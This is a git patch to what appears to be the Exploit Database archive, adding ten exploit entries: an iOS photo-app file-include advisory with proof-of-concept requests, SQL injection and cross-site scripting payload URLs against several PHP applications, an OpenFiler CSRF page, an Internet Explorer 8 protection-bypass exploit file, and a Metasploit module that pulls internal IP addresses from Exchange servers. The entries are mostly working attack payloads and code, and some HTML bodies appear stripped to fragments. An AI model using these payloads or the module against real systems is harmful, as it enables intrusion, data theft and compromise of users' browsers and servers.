From 501c894288ab40716b99d86a7ef88e9f1400af40 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 1 Oct 2014 04:44:03 +0000 Subject: [PATCH] Updated 10_01_2014 --- files.csv | 10 + platforms/ios/webapps/34816.txt | 239 ++++++++++++++++++ platforms/php/webapps/34809.txt | 9 + platforms/php/webapps/34810.txt | 9 + platforms/php/webapps/34811.txt | 9 + platforms/php/webapps/34812.html | 9 + platforms/php/webapps/34813.txt | 9 + platforms/php/webapps/34814.txt | 9 + platforms/php/webapps/34818.html | 47 ++++ platforms/windows/remote/34815.html | 367 ++++++++++++++++++++++++++++ platforms/windows/webapps/34817.rb | 123 ++++++++++ 11 files changed, 840 insertions(+) create mode 100755 platforms/ios/webapps/34816.txt create mode 100755 platforms/php/webapps/34809.txt create mode 100755 platforms/php/webapps/34810.txt create mode 100755 platforms/php/webapps/34811.txt create mode 100755 platforms/php/webapps/34812.html create mode 100755 platforms/php/webapps/34813.txt create mode 100755 platforms/php/webapps/34814.txt create mode 100755 platforms/php/webapps/34818.html create mode 100755 platforms/windows/remote/34815.html create mode 100755 platforms/windows/webapps/34817.rb diff --git a/files.csv b/files.csv index 4df92cca8..50356dec6 100755 --- a/files.csv +++ b/files.csv @@ -31338,3 +31338,13 @@ id,file,description,date,author,platform,type,port 34806,platforms/php/webapps/34806.txt,"JNM Guestbook 3.0 'index.php' Cross Site Scripting Vulnerability",2009-07-09,Moudi,php,webapps,0 34807,platforms/php/webapps/34807.txt,"JNM Solutions DB Top Sites 1.0 'vote.php' Cross Site Scripting Vulnerability",2009-07-08,Moudi,php,webapps,0 34808,platforms/php/webapps/34808.txt,"Rapidsendit Clone Script 'admin.php' Insecure Cookie Authentication Bypass Vulnerability",2009-07-08,NoGe,php,webapps,0 +34809,platforms/php/webapps/34809.txt,"Tausch Ticket Script 3 suchauftraege_user.php userid Parameter SQL Injection",2009-07-07,Moudi,php,webapps,0 +34810,platforms/php/webapps/34810.txt,"Tausch Ticket Script 3 vote.php descr Parameter SQL Injection",2009-07-07,Moudi,php,webapps,0 +34811,platforms/php/webapps/34811.txt,"Linea21 1.2.1 'search' Parameter Cross Site Scripting Vulnerability",2009-07-08,"599eme Man",php,webapps,0 +34812,platforms/php/webapps/34812.html,"Docebo 3.6 'description' Parameter Cross Site Scripting Vulnerability",2010-10-04,"High-Tech Bridge SA",php,webapps,0 +34813,platforms/php/webapps/34813.txt,"Elxis 2009.2 rev2631 SQL Injection",2010-10-05,"High-Tech Bridge SA",php,webapps,0 +34814,platforms/php/webapps/34814.txt,"SquirrelMail Virtual Keyboard Plugin 'vkeyboard.php' Cross Site Scripting Vulnerability",2010-10-05,"Moritz Naumann",php,webapps,0 +34815,platforms/windows/remote/34815.html,"Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037)",2014-09-29,"ryujin & sickness",windows,remote,0 +34816,platforms/ios/webapps/34816.txt,"GS Foto Uebertraeger 3.0 iOS - File Include Vulnerability",2014-09-29,Vulnerability-Lab,ios,webapps,0 +34817,platforms/windows/webapps/34817.rb,"Microsoft Exchange IIS HTTP Internal IP Address Disclosure",2014-09-29,"Nate Power",windows,webapps,0 +34818,platforms/php/webapps/34818.html,"OpenFiler 2.99.1 - CSRF Vulnerability",2014-09-29,"Dolev Farhi",php,webapps,446 diff --git a/platforms/ios/webapps/34816.txt b/platforms/ios/webapps/34816.txt new file mode 100755 index 000000000..20f2674f7 --- /dev/null +++ b/platforms/ios/webapps/34816.txt @@ -0,0 +1,239 @@ +Document Title: +=============== +GS Foto Uebertraeger v3.0 iOS - File Include Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1325 + + +Release Date: +============= +2014-09-22 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1325 + + +Common Vulnerability Scoring System: +==================================== +6.3 + + +Product & Service Introduction: +=============================== +The best Photo Transfer app on the App Store!Photo Transfer allows you to quickly transfer photos between your iPhone, +iPad, PC or Mac using your local Wi-Fi network, without any 3rd party transfer utilities. It can easily access your photo +libraries via wifi from any computer with a web browser(IE/Chrome/Safari) on the same wifi network, very easy to use! + +(Copy of the Homepage: https://itunes.apple.com/en/app/wifi-fotos-ubertrager-+-uber/id902267412 ) + + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered a file include vulnerability in the official Golden Soft Photo/Foto Uebertraeger v3.0 iOS mobile application. + + +Vulnerability Disclosure Timeline: +================================== +2014-09-22: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Golden Soft +Product: Foto ?bertr?ger - iOS Mobile Web Application 3.0 + + +Exploitation Technique: +======================= +Local + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A local file include web vulnerability has been discovered in the official Briefcase Pro v4.0 iOS mobile wifi web-application. +The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system +specific path commands to compromise the mobile web-application. + +The web vulnerability is located in the `filename and albumname` values of the `uploadPhotoPost` module. Remote attackers are able to inject +own files with malicious `filename or albumname` values in the `uploadPhotoPost` POST method request to compromise the mobile web-application. +The local file/path include execution occcurs in the index dir listing of the wifi interface context. The attacker is able to inject the local +file include request by usage of the `wifi interface` in connection with the vulnerable upload request. + +Remote attackers are also able to exploit the filename/albumname validation issue in combination with persistent injected script codes to execute +different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. + +The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.3. +Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation +of the local file include web vulnerability results in mobile application or connected device component compromise. + + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] uploadPhotoPost + +Vulnerable Parameter(s): + [+] filename & albumname + +Affected Module(s): + [+] Index Path Dir Listing (http://localhost/) + + +Proof of Concept (PoC): +======================= +The local file include web vulnerability can be exploited by local wifi attackers in the network without privileged application user account or user interaction. +For security demonstration or to reproduce the security vulnerability follow the provided information or steps below to continue. + + +PoC: Url +http://localhost/./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!] + + +PoC: Exploit Photo Transfer.htm + +
>"./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!].png
+ + + + + + + + + +
+
+
+ + + +
+
+
+ +
+
+
+
+ + + + + + + + + +--- PoC Session Logs [POST] --- +Status: 200[OK] +POST http://localhost/uploadPhotoPost Load Flags[LOAD_BYPASS_CACHE ] Gr??e des Inhalts[7] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost/uploadpage] + Content-Length[818] + Content-Type[multipart/form-data; boundary=---------------------------4611772826829] + Cookie[plupload_ui_view=thumbs] + Connection[keep-alive] + Pragma[no-cache] + Cache-Control[no-cache] + POST-Daten: + POST_DATA[-----------------------------4611772826829 +Content-Disposition: form-data; name="name" + +./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!].png +-----------------------------4611772826829 +Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME VALUE!].png" +Content-Type: image/png + + +Status: 200[OK] +GET http://localhost/main/home Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[210] Mime Type[application/x-unknown-content-type] + Request Header: + Host[localhost] + User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[de,en-US;q=0.7,en;q=0.3] + Accept-Encoding[gzip, deflate] + Referer[http://localhost/uploadpage] + Cookie[plupload_ui_view=thumbs] + Connection[keep-alive] + Response Header: + Accept-Ranges[bytes] + Content-Length[210] + Connection[keep-alive] + Date[Tue, 16 Sep 2014 15:07:38 GMT] + + + +Solution - Fix & Patch: +======================= +The security vulnerability can be patched by a secure parse and encode of the file name value in the upload POST method request or sync. +Encode the file dir listing names and data output values to prevent further file include attacks. Restrict the file name extension validation +to fully secure the upload mechanism. + + +Security Risk: +============== +The security risk of the local file include web vulnerability in the filename value of the application is estimated as high. + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either +expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers +are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even +if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation +of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break +any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to +electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by +Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website +is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact +(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright ? 2014 | Vulnerability Laboratory [Evolution Security] + + +-- +VULNERABILITY LABORATORY RESEARCH TEAM +DOMAIN: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com + + diff --git a/platforms/php/webapps/34809.txt b/platforms/php/webapps/34809.txt new file mode 100755 index 000000000..9abb95ac9 --- /dev/null +++ b/platforms/php/webapps/34809.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43710/info + +Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Tausch Ticket Script 3 is vulnerable; other versions may also be affected. + +http://www.example.com/suchauftraege_user.php?userid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34810.txt b/platforms/php/webapps/34810.txt new file mode 100755 index 000000000..e0305fff3 --- /dev/null +++ b/platforms/php/webapps/34810.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43710/info + +Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Tausch Ticket Script 3 is vulnerable; other versions may also be affected. + +http://www.example.com/vote.php?descr=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34811.txt b/platforms/php/webapps/34811.txt new file mode 100755 index 000000000..4c1ffc0fb --- /dev/null +++ b/platforms/php/webapps/34811.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43711/info + +Linea21 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Linea21 1.2.1 is vulnerable; other versions may also be affected. + +http://www.example.com/public/index.php?search="'>&rub=resultats-recherche&valid.x=4&valid.y=6&valid=valider \ No newline at end of file diff --git a/platforms/php/webapps/34812.html b/platforms/php/webapps/34812.html new file mode 100755 index 000000000..9bf78c92d --- /dev/null +++ b/platforms/php/webapps/34812.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43721/info + +Docebo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Docebo 3.6.0.4 is vulnerable; prior versions may also be affected. + +
\ No newline at end of file diff --git a/platforms/php/webapps/34813.txt b/platforms/php/webapps/34813.txt new file mode 100755 index 000000000..f86901192 --- /dev/null +++ b/platforms/php/webapps/34813.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43743/info + +Elxis is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. + +Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Elxis 2009.2 electra rev2631 is vulnerable; other versions may be affected. + +http://www.example.com/administrator/index2.php?option=com_content§ionid=0&task=edit&hidemainmenu=1&id=999'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+c \ No newline at end of file diff --git a/platforms/php/webapps/34814.txt b/platforms/php/webapps/34814.txt new file mode 100755 index 000000000..b076b46fc --- /dev/null +++ b/platforms/php/webapps/34814.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/43749/info + +The Virtual Keyboard plugin for SquirrelMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Virtual Keyboard 0.9.1 and prior are vulnerable. + +http://www.example.com/plugins/vkeyboard/vkeyboard.php?passformname=%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E%3Cscript%3E/*%20 \ No newline at end of file diff --git a/platforms/php/webapps/34818.html b/platforms/php/webapps/34818.html new file mode 100755 index 000000000..6bc774661 --- /dev/null +++ b/platforms/php/webapps/34818.html @@ -0,0 +1,47 @@ + + +
+
+
+

DoS

+ +
+ + + + +
+ +
+ + + + + + diff --git a/platforms/windows/remote/34815.html b/platforms/windows/remote/34815.html new file mode 100755 index 000000000..1386375e4 --- /dev/null +++ b/platforms/windows/remote/34815.html @@ -0,0 +1,367 @@ + + + + +
+ + + \ No newline at end of file diff --git a/platforms/windows/webapps/34817.rb b/platforms/windows/webapps/34817.rb new file mode 100755 index 000000000..8c9c3650c --- /dev/null +++ b/platforms/windows/webapps/34817.rb @@ -0,0 +1,123 @@ +# Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability +# Google Dork: NA +# Date: 08/01/2014 +# Exploit Author: Nate Power +# Vendor Homepage: microsoft.com +# Software Link: NA +# Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013 +# Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013 +# CVE : NA + +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure', + 'Description' => %q{ + This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers. + }, + 'Author' => + [ + 'Nate Power' + ], + 'DisclosureDate' => 'Aug 01 2014', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'SSL' => true + } + ) + + register_options( + [ + OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]), + OptInt.new('RPORT', [ true, "The target port", 443]), + ], self.class) + end + + def run_host(target_host) + rhost = target_host + print_status("#{msg} Checking HTTP headers") + get_ip_extract + end + + def get_ip_extract + urls = ["/Microsoft-Server-ActiveSync/default.eas", + "/Microsoft-Server-ActiveSync", + "/Autodiscover/Autodiscover.xml", + "/Autodiscover", + "/Exchange", + "/Rpc", + "/EWS/Exchange.asmx", + "/EWS/Services.wsdl", + "/EWS", + "/ecp", + "/OAB", + "/OWA", + "/aspnet_client", + "/PowerShell"] + + result = nil + + urls.each do |url| + begin + res = send_request_cgi({ + 'version' => "1.0", + 'uri' => "#{url}", + 'method' => 'GET', + 'vhost' => '' + }, timeout = datastore['TIMEOUT']) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed") + next + end + + if not res + print_error("#{msg} HTTP Connection Timeout") + next + end + + if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i)) + result = match.captures[0] + print_status("#{msg} Status Code: 401 response") + print_status("#{msg} Found Path: " + url ) + print_good("#{msg} Found target internal IP address: " + result) + return result + elseif + print_warning("#{msg} No internal address found") + next + end + + if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i)) + result = match.captures[0] + print_status("#{msg} Status Code: #{res.code} response") + print_status("#{msg} Found Path: " + url ) + print_good("#{msg} Found target internal IP address: " + result) + return result + elseif + print_warning("#{msg} No internal address found") + next + end + end + + if result.nil? + print_warning("#{msg} Nothing found") + end + + return result + end + def msg + "#{rhost}:#{rport} -" + end +end +